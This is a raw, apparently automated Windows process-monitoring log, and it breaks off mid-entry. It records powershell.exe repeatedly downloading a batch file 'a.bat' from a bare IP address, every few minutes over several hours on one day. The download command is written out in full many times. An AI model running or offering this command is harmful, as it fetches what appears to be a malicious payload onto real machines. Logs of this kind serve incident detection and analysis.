PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:36:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:39:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:41:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:44:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:46:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:49:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:51:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:54:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:56:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 04:59:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:01:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:04:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:06:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:09:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:11:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:14:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:16:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:19:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:21:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:24:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:26:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:29:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:31:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:34:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:36:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:39:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:41:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:44:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:47:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:49:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:52:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:54:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:57:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 05:59:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:02:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:04:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:07:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:09:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:12:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:14:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:17:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:19:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:22:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:24:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:27:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:29:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:32:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:34:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:37:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:39:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:42:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:44:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:47:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:49:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:52:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:54:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:57:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 06:59:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:02:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:04:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:07:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:09:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:12:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:14:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:17:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:19:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:22:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:24:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:27:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:29:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:32:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:34:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:37:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:39:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:42:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:44:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:47:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:49:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:52:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:54:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:57:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 07:59:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:02:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:04:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:07:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:09:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:12:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:14:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:17:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:19:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:22:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:24:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:27:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:29:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:32:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:34:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:37:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:39:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:42:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:44:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:47:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:49:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:52:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:54:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:57:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 08:59:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:02:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:05:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:07:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:10:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:12:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:15:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:17:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:20:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:22:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:25:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:27:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:30:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:32:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:35:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:37:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:40:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:42:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:45:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:47:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:50:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:52:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:55:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 09:57:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:00:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:02:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:05:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:07:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:10:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:12:41 NOTIFY: PROCESS 